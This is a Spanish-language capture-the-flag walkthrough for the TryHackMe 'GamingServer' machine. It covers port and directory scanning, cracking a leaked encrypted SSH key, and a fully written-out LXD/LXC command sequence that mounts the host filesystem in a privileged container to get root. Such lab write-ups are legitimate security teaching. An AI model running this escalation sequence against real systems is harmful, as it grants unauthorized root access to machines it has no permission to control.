GamingServer es una maquina de TryHackMe, en la enumeracion de la pagina web encontramos una clave privada encriptada que crackeamos para obtener acceso a la maquina. Escalamos privilegios con LXC creando un nuevo contenedor.
Room
Titulo |
GamingServer  |
Descripción |
An Easy Boot2Root box for beginners |
Puntos |
110 |
Dificultad |
Facil |
Maker |
SuitGuy  |
NMAP
Escaneo de puertos tcp, nmap nos muestra el puerto smb (445), ldap (139) y el puerto ssh (22) abiertos.
1
2
3
4
5
6
7
8
9
10
11
|
# Nmap 7.80 scan initiated Mon Aug 31 21:03:37 2020 as: nmap -sV -o mini_scan gaming.thm
Nmap scan report for gaming.thm (10.10.202.248)
Host is up (0.28s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 31 21:04:17 2020 -- 1 IP address (1 host up) scanned in 39.71 seconds
|
HTTP
Encontramos una pagina web en el puerto 80.

En el codigo fuente encontramos un posible nombre de usuario comentado.
1
2
3
|
</body>
<!-- john, please add some actual content to the site! lorem ipsum is horrible to look at. -->
</html>
|
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos.
1
2
3
4
5
6
7
8
9
10
|
kali@kali:~/thm/gamingserver$ gobuster dir -u http://gaming.thm/ -w /usr/share/wordlists/dirb/common.txt -t 25 -q -x php,html,txt
/about.php (Status: 200)
/about.html (Status: 200)
/index.html (Status: 200)
/index.html (Status: 200)
/robots.txt (Status: 200)
/robots.txt (Status: 200)
/secret (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)
|
En /secret
encontramos una clave privada encriptada seguramente de alguno de los usuarios dentro de la maquina. Utilizamos John para obtener la frase de la clave privada.

En /uploads/
encontramos varios archivos entre ellos un posible wordlist.

JOHN - USER
Utilizamos la clave privada y la frase que encontramos con el usuario john en el servicio ssh y logramos obtener una shell y nuestr flag user.txt
.

PRIVILEGE ESCALATION
Hacemos una pequeña enumeracion, vemos que el usuario se encuentra en el grupo de lxd
. Utilizamos LXD para realizar privilege escalation al igual que THM - HA Joker CTF.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
#LOCAL
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine -a i686
#GAMINSERVER MACHINE
lxc image import ./alpine-v3.12-i686-20200831_2152.tar.gz --alias myimage
lxc image list
lxc init myimage sckull -c security.privileged=true
lxc config device add sckull mydevice disk source=/ path=/mnt/root recursive=true
lxc start sckull
lxc exec sckull /bin/sh
|
Logramos obtener una shell con usuario root (container) y nuestra flag root.txt
.

